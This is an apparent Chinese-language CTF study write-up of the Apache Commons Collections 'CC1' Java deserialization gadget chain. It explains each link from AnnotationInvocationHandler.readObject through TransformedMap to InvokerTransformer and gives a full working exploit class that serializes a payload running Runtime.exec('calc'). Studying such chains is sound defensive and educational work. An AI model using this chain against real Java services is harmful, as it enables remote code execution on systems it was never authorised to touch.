cc1

准备

[!IMPORTANT]

  • jdk8u65
  • 要用到mvn的版本是3.2.1
  • 有的只是.class文件,没有源码(公司不一样),看到的是反编译出来的(命名随便的),要自己加对应版本的源码(8u65中/src/sun已经加了)

利用点

终点

从接口Transformertransform方法入手

找接口的实现(看看有没有可进行反序列化的(重写readObject()方法、implements了Serializable))

找到InvokerTransformer

image-20260226213951335

可以看到参数都是可控的,而且利用反射进行了方法执行,所以可以用来进行任意类的任意方法。

1
2
3
4
5
6
7
8
9
10
11
12
import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.Transformer;

public class cc1 {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer intrfor = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
intrfor.transform(r);
}
}

入口点

先查找某个类中的方法调用了transform

image-20260226234221431

可以看到这里TransformedMap的checkSetValue方法是有调用的

——但发现valueTransformerprotected的,构造方法没有设置;

查看发现静态方法decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)设置了,

image-20260226234535153

所以可以通过这个静态方法设置好valueTransformer

1
2
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> transformeredmap = TransformedMap.decorate(map, null, intrfor);

接下来就去看怎么调用protected checkSetValue

(依旧查看用法ctrl+alt+F7

image-20260227155745624

可以看到AbstractInputCheckedMapDecorator中的静态子类MapEntrypublic Object setValue(Object value)进行了调用

进行追溯查找发现:

1
MapEntry ==> AbstractInputCheckedMapDecorator ==> Map.Entry

可以看到,MapEntry中的setValue是继承自AbstractInputCheckedMapDecorator

1
2
3
public Object setValue(Object object) {
return entry.setValue(object);
}

中间链

[!IMPORTANT]

  • 即我们可以通过MapEntry遍历调用.setValue(Object)来实现调用MapEntrypublic Object setValue(Object value);

  • 进而调用了parent.checkSetValue(value)【这里parent会**自动赋为TransformedMap**】;

  • 从而就可以执行valueTransformer.transform(value);了【valueTransformer设置为InvokerTransformer

  • 最终实现了对InvokerTransformer.transform(Object)的实现【

1
2
3
4
 Runtime r = Runtime.getRuntime();
InvokerTransformer intrfor = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

//通过链式调用实现了intrfor.transform(r);

最终得到代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
        Runtime r = Runtime.getRuntime();
InvokerTransformer intrfor = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// intrfor.transform(r);//


HashMap<Object, Object> map = new HashMap<>();
map.put("c", "c");//map不能为空,否则没有元素执行
Map<Object, Object> transformeredmap = TransformedMap.decorate(map, null, intrfor);

//上面设置,下面进行触发
for(Map.Entry entry: transformeredmap.entrySet()){
entry.setValue(r);
}

[!NOTE]

上面的第二点中,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

由于transformedMap extends AbstractInputCheckedMapDecorator implements Serializable,

现在查看AbstractInputCheckedMapDecoratorentrySet()

1
2
3
4
5
6
7
public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}

发现,return new EntrySet(map.entrySet(), this);

EntrySet中的代码看,这个this是对应的parent

所以,我们可以得到,调用transformedmap.entrySet()即自动实现了把parent传为transformedmap

口子

因为是在反序列化过程中实现的,现在我们要考虑一下能不能利用某个类的readObject来自动触发setValue()

readObject实现

依旧查找使用

image-20260227174546160

发现sun.reflect.annotation中的AnnotationInvocationHandler类的readObject方法中调用了

image-20260227175000030

条件通过

因为memberValue来自memberValues,后者可控;所以可以操作实现条件通过

  • 即,如果实现了memberType != null ==> key必须是注解成员名,且不为空 ==> 即map.put("value", "...");//key必须是value,类源代码上的内容

    • @Override没有成员(仅标识作用),@Target有一个(value),@Retention有一个(value)
      
      所以要传value,且构造器中参数为Target.class/Retention.class
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12



      - 且`!(memberType.isInstance(value) || value instanceof ExceptionProxy)` ==> 类型不匹配 ==> `@Target.value()的类型是ElementType[],我们传的"..."是String,所以ok`

      ——即**有元素,但类型不匹配**`(key-value中的value类型!=注解成员声明类型)`

      就触发

      ```java
      memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember(
      annotationType.members().get(name)));
传参改变
1
2
memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));

——这个不是我们要的Runtime,而且是固定代码的,所以要通过ConstantTransformer的transform(Object input){return iConstant)——忽略输入,返回构造器传入的常量的特性来实现

[!IMPORTANT]

ConstantTransformertransform

在调用invokerTransformertransform前,调用ConstantTransformertransform,实现更迭参数。

——既然是要多个Transformer了,那就要用到ChainedTransformer.transform()逐个执行

——ChainedTransformer中实现顺序:从上到下

  • ConstantTransformer(Runtime.class) ==> InvokerTransformer("getDeclaredMethod", ...) ==> InvokerTransformer("invoke", ...) ==> InvokerTransformer("exec", ..)

[!NOTE]

注解类型 = 特殊接口(@interface),其”成员” = 接口中定义的抽象方法。@Override 是空接口(0 个方法 → 0 个成员),@Target/@Retention 各有 1 个 value() 方法(1 个成员)。

代码调用实现

同时,这个类没有public修饰,所以要通过反射调用,用Object收容

1
2
3
4
5
6
7
//反射获得AnnotationInvocationHandler类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//AnnotationInvocationHandler o = constructor.newInstance(Target.class, transformeredmap);//第一个参数是注解原型类
//AnnotationInvocationHandler是私有的,无法在这里直接写出来,要反射,用object收容
Object o = constructor.newInstance(Target.class, transformeredmap);//

[!NOTE]

构造器参数

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)

——对应上面传的key值value的注解类型为Target/Retention

还有一个问题,就是序列化时,发现Runtime没有被序列化

[!IMPORTANT]

  • 去看Runtime类,发现并没有serializable接口,不能被序列化

    • 原型类class存在serializable接口,所以,可以通过调用其的原型类来实现

    • 关于Runtime的,都不能先实例化,要在反序列化时才实例化,所以,要通过InvokerTransformer(..., ..., ...)来实现延迟执行

    • new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
          
      new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
          
      new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71

      - 这里用很多个`Transformer`的构造器,结合换参的`ConstantTransformer`,都用`ChainedTransformer`实现



      ## 完整代码

      ```java
      import org.apache.commons.collections.functors.ChainedTransformer;
      import org.apache.commons.collections.functors.ConstantTransformer;
      import org.apache.commons.collections.functors.InvokerTransformer;
      import org.apache.commons.collections.map.HashedMap;
      import org.apache.commons.collections.map.TransformedMap;

      import org.apache.commons.collections.Transformer;
      import java.io.*;
      import java.lang.annotation.Target;
      import java.lang.reflect.Constructor;
      import java.lang.reflect.Method;
      import java.util.HashMap;
      import java.util.Map;

      public class cc1 {
      public static void serialize(Object object) throws Exception
      {
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\vk\\Desktop\\JAVA_ctf_test\\cc1\\cc1.txt"));
      oos.writeObject(object);
      }
      public static void unserialize(String filename) throws Exception {
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
      ois.readObject();
      }

      public static void main(String[] args) throws Exception {
      // Runtime r = Runtime.getRuntime();
      Class<?> rc = Class.forName("java.lang.Runtime");//原型
      Method getRuntime = rc.getDeclaredMethod("getRuntime");//获取方法
      Runtime r = (Runtime) getRuntime.invoke(null);//

      Transformer[] Transformers = new Transformer[]{
      new ConstantTransformer(Runtime.class),
      new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
      new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
      new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
      };
      // intrfor.transform(r);//


      ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);

      HashMap<Object, Object> map = new HashMap<>();//
      map.put("value", "...");//map不能为空
      Map<Object, Object> transformeredmap = TransformedMap.decorate(map, null, chainedTransformer);

      // for(Map.Entry entry: transformeredmap.entrySet()){
      // entry.setValue(r);
      // }

      //反射获得AnnotationInvocationHandler类
      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
      constructor.setAccessible(true);
      //AnnotationInvocationHandler o = constructor.newInstance(Override.class, transformeredmap);//第一个参数是注解原型类
      //AnnotationInvocationHandler是私有的,无法在这里直接写出来,要反射,用object收容
      Object o = constructor.newInstance(Target.class, transformeredmap);

      serialize(o);
      unserialize("C:\\Users\\vk\\Desktop\\JAVA_ctf_test\\cc1\\cc1.txt");
      }
      }

——回顾一下发现,要序列化的类,都没有直接实例化,而是通过Class进行声明。

链子

1
AnnotationInvocationHandler的readObject ==> MapEntry.setValue(value) ==> TransformerMap.checkSetValue(value) ==> InvokerTransformer.transform(value)

更详细的流程

1
2
3
4
5
6
7
8
9
10
11
12
13
flowchart TD
A[反序列化 Proxy] --> B[Proxy.readObject]
B --> C[AnnotationInvocationHandler.readObject]
C --> D[遍历 memberValues.entrySet]
D --> E[entry.setValue ExceptionProxy]
E --> F[TransformedMap$MapEntry.setValue]
F --> G[TransformedMap.checkSetValue]
G --> H[ChainedTransformer.transform]
H --> I1[ConstantTransformer.transform]
I1 --> I2[InvokerTransformer.transform<br/>getMethod]
I2 --> I3[InvokerTransformer.transform<br/>invoke]
I3 --> I4[InvokerTransformer.transform<br/>exec]
I4 --> J[Runtime.getRuntime.exec calc ]